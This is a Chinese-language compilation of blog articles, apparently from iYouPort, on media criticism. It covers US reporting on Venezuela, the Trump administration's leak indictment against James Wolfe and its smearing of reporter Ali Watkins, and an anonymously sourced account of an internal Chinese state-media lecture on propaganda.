对于那些美国媒体的追随者而言，委内瑞拉的事实可能很难让他们相信，委内瑞拉是一个人们进行体育运动、上班、上课、去海滩、去餐馆和参加音乐会的国家。他们出版和阅读所有政治派系的报纸，从右到中右，从中间到中左，从中左再到左，全有。他们制作和观看电视节目，电视频道也是各种政治派系全有。

当地人正在示威以抵制特朗普对委内瑞拉新总统胡安·瓜伊多的选择——未经选举的上位。Guaidó 宣布自己是该国的总统，并在几分钟后被特朗普认可，尽管一项民意调查显示，**81**%的委内瑞拉人从未听说过他，他来自委内瑞拉政治光谱中的极右派。

示威的阵容表明毫无疑问 Guaidó 未能在富裕阶层和中上层阶级之外获得太多的支持。但是 Guaidó 甚至无法赢得富裕阶层中许多人的支持。而纽约时报（2/2/19）并没有展示这场示威的照片，仅借助一名不知道是谁的“专家”口头称“这场反Guaidó 的示威规模小于亲 Guaidó 的示威规模”。而事实上完全相反。

读者可以查看双方示威现场的照片并自行判断。两个团体都在竭尽全力推出他们的忠实信徒，能很清楚看到各方的支持者到底有多少。右翼报纸 El Nacional（2/3/19）刊登了右翼反对派的示威照片；但如果与左翼报纸 CCS（2/2/19）刊登的照片对比一下前者就显得非常不起眼了：下面长图中第一个是亲Guaidó 的，后两个是反Guaidó 的。

「图」

「图」

一场巨大的反政府示威活动应该可以实现政变，中央情报局在1953年多次对伊朗使用，1954年对危地马拉，1964年对巴西，以及更多，直到2009年洪都拉斯和2015年的乌克兰。但是特朗普政府对委内瑞拉的政变推动令人失望，它没有发生。结果是，特朗普突然有兴趣向委内瑞拉人提供食品和药品了（FAIR，2/9/19）。

特朗普让数千人死于波多黎各，并在墨西哥边境将小孩子装进笼子里，这样的人似乎不太可能成为拉丁美洲人道主义援助的支持者，但企业媒体们却直截了当地假装相信它。

大多数企业媒体都压制了红十字会和联合国与委内瑞拉政府合作向委内瑞拉提供援助的报道，并且委内瑞拉人抗议美国的“援助”，视其为一种政治和军事策略，但这些事实在企业媒体中找不到。

这些企业媒体继续兜售特朗普作为人道主义冠军的角色，即使在发现一架美国飞机偷运武器进入委内瑞拉之后、甚至在特朗普任命伊朗门事件中的主导者"艾略特艾布拉姆斯"领导委内瑞拉行动"之后"，依旧如此。20世纪80年代，艾布拉姆斯负责国务院人权办公室，当时美国支援给尼加拉瓜恐怖主义分子的武器被伪装成“人道主义”救济。

加拿大的CBC（19/22/19）至少诚实地承认，国家国务卿迈克·庞培（Mike Pompeo）谎报说，委内瑞拉政府封锁了哥伦比亚和委内瑞拉之间的桥梁以阻止援助物资运输。事实上新建的桥梁尚未开放：它从未开放过，显然是因为两国之间的敌对关系，但非开放时间远早于美国政府所谓的食品和药品运输。

当美国当局从委内瑞拉偷走了300亿美元的石油收入—每天3000万美元时，向一个3000万人口的国家提供2000万美元的食品和药品援助是荒谬虚伪的，这根本不需要评论。

对委内瑞拉的虚假信息和彻头彻尾的谎言在2016年由英国“金融时报”拉开帷幕。具有讽刺意味的是，它选择了失败的政变14周年纪念日，宣称委内瑞拉陷入“混乱”和“内战”，委内瑞拉是一个“失败的国家”。与上述“时代”和 CNBC 的报道一样，“金融时报”记者并不在委内瑞拉，报告中没有任何证据表明他曾经去过委内瑞拉。

我问委内瑞拉人是否同意英国“金融时报”的说法，他们回答：“不，当然不是，没有混乱，也没有内战。”但金融时报说，委内瑞拉是一个失败的国家，因为它无法满足人民的医疗需求。“ 如果按照这个标准，那么拉丁美洲的每个国家都是“失败的国家”，显然美国也一样。

“纽约时报”报道了一些故事（2016年5月15日，10/1/16），声称委内瑞拉医院的情况非常糟糕。而这些报道激怒了在纽约的哥伦比亚人，他们指出，如果患者没有医疗保险，患者可能就会死在哥伦比亚公立医院的门口。相比之下，在委内瑞拉，患者可以免费接受治疗。

一位在纽约的哥伦比亚居民说，他的母亲在美国居住几年后最近回到了波哥大，没有时间办理医疗保险。然而她生病了，去了一家公立医院。医院让她在候诊室待了四个小时，然后把她送到了第二家医院。第二家医院做了同样的事，搁置她四个小时，然后把她送到了第三家医院。第三家医院正准备将她送到第四家，就在她抗议并说感到虚弱无力时。

“我很抱歉，Señora，如果你没有医疗保险，这个国家的所有公立医院都不会给你看病的，”服务台的那位女士说。“你唯一的希望就是前

往一家私立医院，但要准备好支付大笔金钱。”幸运的是，她有一位富有的朋友，那位朋友把老人带到了一家私立医院，的确付了很多钱。

哥伦比亚和其他新自由主义国家的这种情况在美国企业媒体中完全没有被提及，这些媒体一直以来都将哥伦比亚政权视为美国的盟友（Extra 2/09）。

好吧，好吧，但委内瑞拉医院的相关报告是真的还是被夸大了？“状况比十年前好多了，”一位在加拉加斯医院工作的朋友说。他说，事实上，十年前，他现在工作的医院还并不存在，其他新医院也正在开业。据中间派报纸 ÚltimasNoticias（17/3/17，4/27/18）报道，其中一家医院最近已经在 El Furrial 镇开始营业，另一家在 El Vigia 开业。

上述这一切并不是为了尽量减少委内瑞拉存在的问题。与其他石油生产国一样，该国遭受了打击，而且在20世纪80年代和90年代，受到油价暴跌的影响。这些遭遇都未能推翻政府，现在特朗普政府通过利用极端经济战来剥夺该国进口基本必需品所需的外汇，从而制造了一场人为的危机。特朗普的措施似乎旨在防止任何经济复苏。

像任何处于战争状态的国家一样（特朗普政府将委内瑞拉置于战争条件之下，并威胁要立即入侵），这便会导致短缺问题，而且产品主要出现在黑市上。委内瑞拉政府以极低的价格提供食品、医疗服务和药品，但大部分商品已进入黑市，或越过哥伦比亚边境，剥夺了委内瑞拉人的供应并破坏了哥伦比亚生产商的利益。政府最近放弃了一些价格补贴，最初导致价格上涨。过去几周，由于供应停留在委内瑞拉，价格一直在下降，尤其是在政府加强对哥伦比亚边境的控制以防止走私之后。

在美国企业媒体上从来没有对这些现状进行过认真的讨论，更不用说关于谎言运动或特朗普政府战争的任何讨论了。

另一篇相关错误报道的分析。详见《尴尬的错误》

Recent Venezuela Coverage Tells Familiar Lies. There has never been a serious discussion of any of this in the US corporate media, much less any discussion of the campaign of lies or the Trump administration warfare. 广告

原文

特朗普政府对媒体的战争不同于奥巴马时代，它已变得更加阴暗 - iYouPort

关于真实的“媒体”-真相衰变

抹黑是永不过时的损招儿，私生活问题始终都是转移注意力的高效推动力。因为除了真正值得了解的事情之外，公众对所有事情都有着无尽的好奇心。

「图」

上个月，James Wolfe 因为他在参议院情报特别委员会工作期间与四名记者的接触一事向 FBI 说了谎，此事一度是公共舆论的焦点议题，关于新闻自由被侵蚀的恐惧正在蔓延。但他的起诉书以及媒体对此的报道，却只关注了其中一位记者：阿里·沃特金斯（Ali Watkins），起诉书显示她曾经是 Wolfe 多年的女友。

延伸阅读：我们针对这个案子的报道侧重于情报机构偷窥记者电子邮件和手机记录，应该怎么办《//反侦察：情报机构再次监听记者通讯，媒体该如何保证爆料人的安全？//》

虽然这份长达 11 页的起诉书中没有提供关于其他记者的信息，但关于 Watkins 的信息却有很多，她 26 岁，被描述为“记者＃2”。起诉书指出，她的职业生涯始于华盛顿特区，是“新闻服务实习生”（McClatchy Newspapers），并陆续为“几个涉及国家安全的新闻机构”工作（赫芬顿邮报，BuzzFeed 新闻和 Politico）。

起诉书称，她与 James Wolfe 的关系始于 2013 年 12 月，一直持续到 2017 年 12 月。在此期间， Watkins 发表了数十篇关于情报委员会的文章，那段时间里 Wolfe 正担任参议院情报特别委员会安全主任。

这份起诉书简直就是 TMZ 风格的笔触（译者注：**TMZ** 是时代华纳旗下的一个八卦网站）。它指出，Watkins 和 Wolfe “经常在各个地方会面。” 在哪里？在参议院办公大楼的楼梯间、餐馆和公寓里。他们曾经在一天内交换了 82 个文本，总共交换了成千上万封短信、电子

邮件和电话 — — 说明全部被监听和监视了。

司法部知道所有这一切，部分是因为司法部秘密拦截了记者 Watkins 多年来的电子邮件和电话记录 — 这是对记者生活的极端性入侵。

奇怪的是，这份措辞粗暴的起诉书并没有暗示 **Wolfe** 向记者 **Watkins** 透露了一些比他据称向其他记者透露的更为敏感的东西。那么为什么 Watkins 在起诉书中获得了最大的关注而不是其他记者？尽管从法律角度来看，她似乎并不是最重要的记者。

据称 Wolfe 与 Watkins 讨论过的信息都不算机密信息 — 尽管联邦调查局询问 Wolfe 是否向未具名的“记者 # 1”（另一位记者）提供了机密信息。但起诉书没有提供关于那位记者的专业或个人信息，也没有任何关于他们身份的线索。

一众媒体在很大程度上并没有质疑司法部为什么要把焦点放在 Watkins 身上，而是积极地揣测这个案件可能是“纸牌屋”的一集 — — 华盛顿特区一位年轻的女记者通过和有权力的老人上床以获取敏感信息。这一讨论框架对 Watkins 极为有害，指责 Watkins 违反新闻主义 — — 起诉书在暗示这就是记者实际开展工作的方式。 Twitter 上的特朗普支持者并不羞于提出这点。

值得注意的是：记者 **Watkins** 案似乎揭示了特朗普政府在对新闻业的战争中的一种新策略。除了特朗普经常将记者描述为“人民的敌人”和“最不诚实的人”之外，他的司法部也正在使用起诉书指控接受所谓机密信息的记者，这些信息本身在法律上无法被起诉，但他们开始借八卦故事以抹黑记者的地位和信誉 — — 那些发表批评或搅扰白宫的报道的记者（特别是关于俄罗斯干涉美国总统选举的报道）。

> The public have an insatiable curiosity to know everything, except what is worth knowing

这是对奥巴马政府打压记者的战争的巧妙提升。在其最重要的泄密起诉之一，巴拉克奥巴马的司法部试图强迫当时的纽约时报记者 James Risen 透露消息来源的身份。现在为 The Intercept 工作的 Risen 冒着入狱的风险也拒绝暴露信息源，这场斗争使他成为受到广泛称赞的新闻自由辩护人之一。

延伸阅读：保护信息源的匿名安全是每个新闻人的重要职责之一，这点上 *Wikileaks* 是全球媒体中最安全的爆料渠道《//DNC 针对 Wikileaks 的诉讼对新闻自由构成严重威胁// 》

请注意，对记者 Risen 发起的舆论攻势也包括对其工作可靠性的负面暗示，但不同的是，奥巴马政府主要集中在让他说出前中央情报局官员 Jeffrey Sterling 是否是他揭露白宫对伊朗进行拙劣的秘密行动的消息来源。

而特朗普政府正在放弃对消息来源的追踪，转而专注于利用其泄密指控向公众扩散一种信号，寄希望于这些信息能有效地损害给政权“添麻烦”的记者的声誉。

明尼苏达大学媒体伦理与法律教授 Jane Kirtley 对 Wolfe 起诉书中关于记者 Watkins 的大量信息感到震惊。“由于她的个人行为问题，[检察官]能够播下她的动机不光彩的种子，也许正是为了打击她的事业。从法律角度上来看，记者的私人生活与案子完全不相关。……[检察官]故意将记者描绘为不是寻求真相并向公众报道的人。他们想把她描述为缺乏道德的人。“

「图」

Former Director of Security for the Senate Intelligence Committee James Wolfe leaves U.S. District Court on June 13, 2018 in Washington, D.C. Photo: Zach Gibson/Getty Images

如果起诉书的目的是破坏一般记者的声誉，那么可以说它已经取得了令人钦佩的成功，有大量新闻机构中招儿，包括纽约时报，去年年底该报聘请了 Watkins 担任职业作家。为了回应起诉书，“泰晤士报”发表了多篇关于 Watkins 与 Wolfe 的关系的报道，其中包括一篇题为“记者和安全助理之间的关系如何令华盛顿媒体感到震惊”的三篇文章，3,300 字。这个故事比“泰晤士报”在入侵伊拉克之前对萨达姆·侯赛因持有大规模杀伤性武器的著名错误报道的调查时间长三倍。华盛顿邮报也发表了几篇关于此案的文章，也是主要集中在 Watkins 身上，许多其他出版物均是如此。

虽然这些文章中的大多数都有指出，案件涉及一个至关重要的却未被充分认识到的问题 — — 政府秘密偷窥记者的通讯记录 — — 侵犯隐私达到了惊人的程度。

但是，特朗普政府成功地让上述主流媒体把注意力放在了起诉书中的贬义小玩意儿上，而忽略了根本性问题。事实上，很难看出将关于 Watkins 与 Wolfe 的关系的许多细节包含在内究竟有什么意义，除了将公众注意力转移到她的性生活上，并远离政府为获取有关她的信息所做出的侵犯性举动。

正如“华盛顿邮报”的精准论述所言：这种浪漫故事“引发了对新闻伦理问题的一系列扭曲认识，并且支持了特朗普将记者定性为华盛顿沼泽生物的歪论，暗示他们可以为挖料儿做任何事情。”

这不是特朗普政府第一次利用泄密指控起诉并歪曲记者工作。在特朗普时代的第一次经典级泄密起诉中，前国家安全局承包商 Reality Winner 根据“间谍法”被起诉，因为她将一份机密文件交给了记者（Winner 已经认罪）。在对 Winner 的起诉书中携带的搜查令，包括有关她据称将消息泄露给新闻机构的方式的详细信息，该组织已向 NSA 发送了该文件的副本以供核实。逮捕令称副本显示原始文件已折叠，这表明泄密者已将其从工作计算机上打印出来了。

包含这些信息似乎没有任何法律用途。但为什么会这样？似乎最可能的是，它意在暗示新闻组织无意中提供了导致政府针对 Winner 的关键线索。据称，“新闻组织”被广泛报道为 The Intercept，在 Winner 被捕期间，The Intercept 发布了一份关于俄罗斯黑客攻击美国选举系统的绝密文件。虽然 The Intercept 承认其文件处理实践并不像应有的那样谨慎，但政府有很多方法可以追踪到 Winner。

特别是自 **2013** 年爱德华·斯诺登泄露大量国家安全局文件以来，政府机构加强了对公务员的监控，包括监控他们的计算机、打印机和工作空间，跟踪某些文件的打印和查看历史，甚至丢出诱饵文件，"引诱"潜在的泄漏者进入他们的系统。几乎可以肯定， Winner 发送给 The Intercept 的国安局文件被盯住了。

特朗普对新闻业发起战争的利害关系远远超出了对记者声誉的抹黑，或其信息来源的命运。这些攻击是为了减少向公众传播重要信息的整体流量 — 他们向潜在的消息来源发出信号，恐吓他们将被起诉，他们向调查记者发出信号，恐吓他们将被抹黑。

事实上，在关于他与特朗普的一次会谈的备忘录中，前联邦调查局局长 James Comey 写道，他提醒总统“信息价值头等重要”要让泄密者和记者停止发布敏感信息 — — 这是公然地破坏新闻自由。

特朗普对记者的战争（以及科米对这一战争的鼓励）的问题在于，泄漏通常是公众需要了解的属于公共领域事物的唯一方式 — 例如，五角大楼文件揭示了越南战争背后的真相。特朗普否认或淡化了俄罗斯在2016年大选中的角色，他的政府一直在关注媒体对政府所作所为的披露。

The Intercept 发布的泄露文件清楚地表明，美国国家安全局有证据证

明俄罗斯试图破解美国的投票系统，参议院的一份报告和选举官员都已经承认，媒体报道在警告这一威胁方面发挥了关键作用，特别顾问 Robert Mueller 的最新俄罗斯起诉书，其中部分就依赖于 Winner 泄露的文件中的信息。

在执政的最后一年，奥巴马政府似乎退出了对记者进行打击的一些最糟糕的部分。奥巴马在位期间的最后一次对泄密起诉是针对已退休的 James Cartwright 将军，他承认向纽约时报记者 David Sanger 和新闻周刊记者 Daniel Klaidman 提供了关于伊朗问题虚假陈述的机密信息。奥巴马在宣判之前赦免了 Cartwright）

在这个案件中，司法部提交的两页信息里提到了 Sanger 和 Klaidman 一次，没有提及他们与 Cartwright 的接触 — 他们经常交谈的时间、地点、是否一起出去喝啤酒，记者是否留下了任何电话或电子邮件帮助政府弄清楚 Cartwright 已将消息泄露给了他们。也没有企图贬低记者 Sanger 和 Klaidman。

Wolfe 的起诉书表明贬低运动时代又回来了。记者 Watkins 的长期后果尚不清楚。本月早些时候，“泰晤士报”宣布她已从华盛顿特区重新分配到纽约的新职位，在那里她将得到导师的“指导”（被回炉了）。她为此写了一个 950 字的故事，故事中显示该报的执行编辑 Dean Baquet 已经向工作人员提供了一份关于 Watkins 的备忘录。该报还发表了 575 字的备忘录。

"TRUMP FINDS A NEW WEAPON FOR HIS WAR ON JOURNALISM — LEAK INDICTMENTS AIMED AT SMEARING REPORTERS" by Peter Maass July 15 2018, 1:00 p.m.

PS: 原文发表于我们的博客：https://iyouport.wixsite.com/iyouport/blog/

我们的另一个博客在这里：https://steemit.com/@iyouport

在 Google 关注 iYouPort: https://plus.google.com/b/104314277918209223775/104314277918209223775

在 twitter 关注 iYouPort: https://twitter.com/iyouport_news

原文

独家：北京的政治宣传模式发生改变，或正对冲中国异议的弱点 - iYouPort

关于中国社会关于真实的“媒体”-真相衰变

这几乎可以肯定是个坏消息。但知己知彼，从来都是有利的

「图」

上周出现了一个被绝大多数中文读者忽略的消息：非洲人国民大会（ANC）秘书长 Ace Magashule 宣布，在明年的南非大选之前，非洲人国民大会的干部将接受中共的培训。ANC将向中共的“培训”学院派遣约 300 名干部，以“更多地了解党纪和忠诚”。Magashule 表示，他们要学习中共在“战略和宣传”方面的专业知识。

也许有人会觉得这个消息很可笑，“他们能学到什么？删帖吗？”事实上有可能不是这么简单。

日前中国官媒内部组织了一场学“习”讲座活动，此前发放了一本叫做《习近平新闻思想讲义》的小册子。这本书原打算只在内部流通，据称“习近平思想”公开的只有四部分，其中不包含新闻（准确说是政治宣传），于是这本书不会再版，而且被指从现在开始不应被宣传，只能内部学习。

iYouPort 无法对照内部流通的版本和曾经网上销售的版本之间是否有区别，但我们有幸获知了在中国头号“国社”内举办的一场长达两个多小时的讲座中出现的诸多关键信息。这些信息体现了两种危险的存在，即 民间异议群体习惯性认知和传统行动风格的弱点，及体制外学者和海外媒体中流行的看似正确的误解。

由于这场讲座中，主讲人将美国体制内媒体的宣传与中国同类宣传机构做了对比，于是本文在逐条分析之后，将采取对比美国的模式，以便说明宣传操纵的进化为何值得警惕。

「图」

这不是央媒内部发放的版本，我们没能被授权发布内部照片

中国官媒和北京官方不完全是一码事

很多体制外学者和评论家，还有海外媒体（以美国为主）均习惯于通过中国官媒的报道来理解中国官方的心思，不消说在某些时候它是准确的，但另一些时候则不是，这是由于共产党的媒体管控和华盛顿对体制内媒体的管控，是两种不同的模式。

美国的宣传之所以高效并能精准表达权力的意图，是因为很多体制内媒体记者在发稿前直接接受报道中所涉及的相关官员/权力部门的“指导”，这早已不是秘密，而中国则是宣传部统一指导，这就变成了被凭空添加了一道隔离层 — — 宣传部在推测“上面的意思”，而被其控制的媒体则默认宣传部的推测完全正确。

如果您还不了解美国体制内媒体，至少可参见这篇文章：关于"美国记者为什么会在发稿前主动联系官员，以便获得审查，令稿件“完美”"。

于是西方记者很容易将中国官媒对北京政权的代表性理解到非常高的水平，进而其知识高度依赖于英文主流媒体的中国学者和评论家们也一起进入了这一误解。很常见的是，Twitter 上一些著名西方媒体记者经常通过围观新华社英文版、环球时报和人民日报来了解中国，或者说了解北京政权的心思，同时，通过同样渠道了解北京意图的还有中国的体制外观察家们、和海外华裔观察家们。于是，很明显，上述这些群体由于主视角一致，从而其反馈在很多方面会产生共鸣，结果就是，这些群体共同推高了大众的同一误解的深度，而他们所理解到的只是中共宣传部的心思，而不是中南海。

我们知道，至今仍然有很多人认为上述这两者是一码事，其实不完全是。日前“国社”内部组织的培训（或者说是“教训”）可以充分体现这点。

负责讲课的人在两个多小时内多次谴责多家官媒“对上层之意图理解不清”，指责中宣部带偏舆论导向。本文后面会选取重点部分分析，总的来说，有必要指出4个长期被忽略的关键，即：#中国官媒接受的是中宣部的指示。有些时候是没有指示的，在这种情况下的应对方式一般来说报社领导人会基于避免麻烦的立场而绕避有可能敏感的话题，或者由于编辑报题密度大而不得不直接向上请示。如果明显“敏感”，如群众抗议事件等，则基本不会请示，直接回避。禁令只是属于直接的指示。

- 微妙的指示。指示不一定是确切的，这是中国式官僚主义的一个特点，有些时候需要下层自行理解，自行决策。之后的责任承担与反馈相关，如果反馈被认为良好，则下层的理解就会被认为正确；反之则是下层误解了上层的意思，而不是上层没说清楚。换句话说就是，如果您的研究课题是中国的媒体审查，仅仅挖掘到所有明确的禁令是远远不够的。
- 中国官媒并非一个整体。多家中国官媒或国社之间很多时候是竞争关系，而不是协调一致的，这点上美国媒体应该不会理解错误。于是外界观察很难确定一个长期的“北京红人”从而引其为最可靠信息镜映。这种竞争与通常的市场化媒体之间的业务竞争区别不大，不同的只在于价值观，这里的价值观是“导向让领导满意”，而市场化媒体的价值观是“流量让广告商满意”。
- 不是说完全不可以将中国官媒理解为北京政权的传声筒，他们之间的原则性大方向是不可能相悖的，而是说，需要将中国官媒的言论理解为北京意图的加强版或者可能性，因为其中被强行添加了两层自我审查过滤，一层是官媒领导层，另一层是中宣部。当北京对宣传文稿发布后生成的现实反馈不满意时，被谴责就是这两个过滤层。他们被认为“误解了上方的意思”。

如果您希望更深层了解中国官媒内部，这里有一篇文章可以提供一些帮助《在中国：六个片段勾画媒体人的侧面》（Here is the English version）这篇文章远未深入，我们是想说，如果您真的希望了解应该如何解读中国的信息源，建议采取的是这篇文章所呈现的调查方式，而不是采访和阅读公开报道，后者很容易存在误导。

中国官媒被批评了什么？

据参会的匿名信息来源称，这场讲座活动是“令人惊讶”的，事实上不存在真正新鲜的讯息，而是这些讯息在此前从未于“国社”内部分享和研讨，更不用说如此深层的指责。“它展示了几乎所有我们这个系统内部从来不会被展示的内幕”，消息人士说。

三大官媒均被指责了，新华社、央视和人民日报，甚至有些案例直接被称其为“新闻事故”。中宣部则被指责为“带偏了舆论导向”，网信办被指“没有用心学习”。

都是些什么案例？

」央视 — — “央视认罪”被批评“带偏舆论导向”。很明显，舆论反馈倾向于没有法治的游街式审判，这与习近平的所谓“依法治国”口号相悖，如上述分析，最终责任将由央视承担。但央视审判这一模式在习

近平治下并非一次出现，为什么此前未被指责、甚至没有内部讨论？不得而知。我们推测认为，此事标志着北京主导的政治宣传模式的一个转向，后面会有具体分析。这部分还有一个幻灯片，足够证明其真实性，我们未能被授权发布。

」 自动噤声 — — “头条号旗下栏目「内涵段子」被广电总局封锁，几百名网民抗议，为什么不报道？” 参会的匿名消息人士说，这位主讲人就此批评官方媒体的自我审查，称“中宣部并没有发布禁令，为什么你们都聋了？”该主讲人称：“不要以为你们不报道就没人知道，事实上消息早已铺天盖地了”……正如我们上面的分析，在这类敏感话题面前基层领导人是不会主动请示的。于是结果就变成了，不论报道还是不报道，都有可能被批评。唯一根据是事后的反馈，如果反馈过于激烈，“上面”不满意了，不报道就是错的，反之则被默许。

」 异口同声 — — “某市要投资一个项目，花了几个亿，几家央媒异口同声地夸奖此事，只有一家地方媒体提出了批评……这种一致性会显得非常虚伪”。消息人士说，“那家地方媒体批评之后两天，人民日报才开始委婉地批评，承认报道失误，似乎上面因此很不高兴”……异口同声明显很假，但观众们似乎早已习惯了这种模式，仿佛这些官媒如果不一致，那才是新闻。但如今似乎不同了，这一明确信息指示官媒们应该制造观点差异。

」 新华社 — — 被指中日关系处理不当，“让日本天皇下跪的评论造成我外交工作重大失败”。消息人士描述，“主讲人称那位天皇对华友好，没有去过靖国神社，而新华社的评论文章导致中日关系变冷，这是重大事故”。主讲人还说，写评论的人没能摸清形式，也不懂文化历史，称“有点经验的人都知道德国人下跪有忏悔的意思，日本人则不同，这是两种完全不同的文化，被混为一谈了”……这是一个有趣的信息，从我们的角度上第一次听到对日关系的这种提法，可以不将其理解为对新华社一家的批评。结合整个讲座中没有出现中美关系处理相关的指责，或可见，北京目前在地缘政治游戏中的进攻方向似乎更加集中化了。

」 环球时报 — — 多篇社评被批评，“不理解上方意愿”。时间匆忙，我们没能打探到这部分的具体细节，据说被举出的案例有多个，但都比较普通。很多海外媒体经常选取环球时报的评论，以此来理解北京的意愿，而如果你有机会与环球时报编辑私下交流的话，他们会告诉你，大多社评不过是一个写手想到哪里就写到哪里。他们只是打工的。环球时报是一个选题“最自由”的官媒小报，也就是说他们比其他人有更多机会表达奴态。仅此而已。奴才会被需要，但不会永远都被喜欢。

」 **Twitter — —** 不要使用 **Twitter** 信息。多家央媒报道特朗普访华，截取的是 Twitter 图片，因为当时特朗普的账户将故宫的照片设置为封面图。消息人士称，外交官在答记者问时被问及了 Twitter 在中国的封锁问题，于是指责央媒不该展示 Twitter 图片……多家央媒都在 Twitter 和 Facebook 有英文版账户，这是中国的对外宣传的一个重点部分。此案例似乎在显示北京宣传方面有意切断国内外的联系，这点与目前的俄罗斯模式很接近，即“对外宽松，对内紧张”；此外还有可能关于避免探讨特朗普的社交媒体外交，或由于习近平不使用社交媒体。

」 删帖 — — 网信办被批评“以利益为中心，而不是以民众为中心的删帖做法”。主讲人称，“习近平主张包容网上不同意见，而不是一味删除”。消息人士表示，这位主讲人批评几乎所有审查机构“不理解上方意思、没有用心学习上面那本书”……这是一个近年来我们的专栏强调过多次的值得警惕的重点，现在它被验证了。祝华新早在七年前就曾经在一篇舆情分析报告中称：“让人们在线骂娘恰恰是减少了动手的机会；让人们上网骂，可以免得上街”。当绝大多数人沉迷于网络宣泄时，已经进入了这一圈套。后面具体分析。（提示：上面是人民网链接，安全性很低）

」 措辞 — — “不允许使用 厉害了、吓尿了，这类词语”。据消息人士介绍，整个讲座只表扬了一家媒体，《科技日报》。该报在其他所有央媒都赞扬“厉害了我的国”的同时，指出“真的厉害了吗？不一定”，之后该报发表了多篇报道分析“为什么说还有很大差距”……此前，该报总编辑刘亚东的视频在海外华人媒体中很是走红，有评论因此赞其“大胆”、“健康力量”，诸如这类体制外的浅薄评论如今几乎铺天盖地。现在您了解了这些内幕，应该重新思考其价值了。

」 美国的宣传 — — 最有趣的就在这里，该主讲人明确表示，要学习华盛顿邮报那种宣传模式，好的宣传就要让受众感觉不到那是宣传。我们后面具体分析。

事实上还有很多细节，甚至包括外界一直认为的“不允许被提起的”修宪取消任期这个话题，参会的消息人士说，“的确，此前在官媒内部只有高层领导才了解这些细节，但是这次是面向所有听众全说清楚了……恐怕本社领导会感觉很惊讶”。另外还有关于“党性人民性一致”的主张，主讲人就此赞扬习近平的“勇气”，称过去三十年文宣战线没人敢提这件事，并就此批评央媒反应不及时，在习近平“819讲话”对其详细论证之后，文宣才敢照本宣科……

以下摘取要点详细分析。

「图」

这些批评和表扬说明了什么？

很明显，上述消息显示了政治宣传模式的明显改变，并且肯定不是好消息，因为它恰恰意味着我们一直在强调的值得警惕的“进化”，已经进入实践阶段。

在上一节中列举的多数被提及的案例，透露了老旧的 Gleichschaltung 模式的拙劣和荒谬。这是纳粹术语，德语原意是“一体化”，这个词被纳粹用来建立一个渗透社会各个方面的极权统治和协调制度。你可以理解为北京追求的意识形态一致性。

Gleichschaltung 是一种设备，它的电流只朝着一个方向流动，从而将交流电变为直流电。在宣传策略中引入这个词，指的是代表人民意志的元首引导着政策的流动，通过国家和党的机构下传给人民，这和 George Orwell 描述的指导人民意志的老大哥是一样的。中国曾经一直都是这么做的，如今央媒仍在自动这样做，然而他们已被批评“工作不力”。

有趣的是，对 Gleichschaltung 的批评最近几年内也是美国异议中的一大热门，这里有一个视频讨论就是关于这个话题的：Truthdig 专栏作家 Chris Hedges 与纽约大学媒体研究教授 Mark Crispin Miller 谈论美国独立媒体被破坏的现状。**Hedges** 呼吁关注 **Facebook**，**Google** 和 **Twitter** 的算法，警惕这些社交媒体巨头将流量从反战和其他进步网站引导出去的认知操纵行为；**Miller** 则谈到新闻同质化的可怕历史先例。Miller 说：“就如我们在（美国）70年代中期以来的几十年中所看到的那样，我将在这里进行挑衅性的比较，这与纳粹称之为 gleichschaltung 的东西类似，这意味着精简/筛查，他们执政的工作就是确保不仅所有媒体、而且所有行业和文化的所有部门都会被做这种筛查，这意味着摆脱那些没有能完全纳入纳粹计划的人。”

你完全可以忽略那个“RT”角标，正由于该讨论中指明的问题是切实存在的，这样的讨论很难通过看起来光鲜漂亮的美国主流媒体获得播放（您可以通过这篇文章领略到这一难度）这个视频的价值在于对话双方说出了数字时代隐形极权主义的主要面貌，然而这不是美国或某一个国家的问题，而是共享互联网的全球所有国家都会出现的问题，就如巨魔，其中美国和中国对数字极权的利用之高效将超过其他所有国家，因为这两个国家拥有基本设施利势。

如今北京已经意识到了，政治宣传“新时代的可利用性”。

The Destruction of an Independent Press with Mark Crispin Miller form YouTube

这场对内讲座难道说明“一体化”不要了吗？当然不是。

首先，这场讲座是在央媒内部进行的，其目的是扭转央媒沉闷的机械化的传声筒形象，从而引导出一种似乎是“言论自由”的幻象。事实上其“一个中心”从未改变。已经没有人敢于偏离这个“中心”，看起来北京对此有足够的自信。经历过毛泽东“双百方针“时代的中国人已经基本失去了再试一次的勇气。

其次，在如今这个信息高度依赖算法的集中化操纵时代，纳粹传统的宣传策略明显是老旧和低效的。史塔西从来没有想到过 facebook 就足以窥视一个人的内心、审查其思想，还不用花一分钱，所有人都会主动欣然地将珍贵的个人隐私公开出来；戈培尔也不会预测到在今天修改一个算法就能定制所有人的认知，同时还能让人民满意于虚假的信息自由幻觉。

在今天，央媒的任务一方面在于对外形象，作为外交幻灯片的存在，这也是为什么其涉及地缘政治的稿件均需获得外交部的审查；另一部分则是对内宣传的政府形象，塑造“政治信任”，人民日报在此首当其冲。如上可见，这两方面都被批评到了，在人们重提塔西佗陷阱之前，北京已经意识到了传统宣传和管理的不力，如上述祝华新的歪点子，现在它落到了实处。

顺便说一句，众所周知中国当局的外宣花费之高昂，也就是上述的第一部分工作，事实上其对内宣传也同样耗资不菲。消息人士透露，人民日报旨在打造“媒体巨轮”，计划花费几个亿的巨资，北京已经支付了其几千万（虽然不是几个亿）但也已经足够耀眼。

祝华新不是唯一一个做出这类思考的人。如果你现在登陆亚马逊，使用中文在图书栏目中搜索“政治宣传，或宣传”，你将能看到大量这类书籍的展示。为什么会这样？这些学者为什么忽然间集中于传播领域的研究？也许，习近平的“讲好中国故事”论只是一个触发点而已。

宣传从来都是政治语话权的支柱。

传播学在政治宣传方面的应用一直高于其他方面如商业，其历史中的兴盛时段至少能追溯到第二次世界大战时期。从二战开始，美国政府的国家安全行动就常常与大型广告主、媒体公司的商业野心、高校管理者和教师们的创业欲望，交织重合。国务院和中央情报局等情报部

门和宣传机构大幅资助了战后一代传播学学者，主要从事说服的技巧、民意测试、刑讯审问、政治与军事动员、意识形态宣讲，及其他相关课题。

其中最为特别的就是，说服的技巧 — — 即心理战。政府可调用大批军队士兵充当研究和实验对象。（你可以在这里看到具体介绍；Albert Biderman and Elizabeth Crawford, The Political Economics of Social Research: The case of Sociology）

在美国称之为心理战的研究是传播学领域研究的一个重要分支。早前中国的心理战似乎更多使用的是心理学，而不是传播学，但如今可能已经变了。

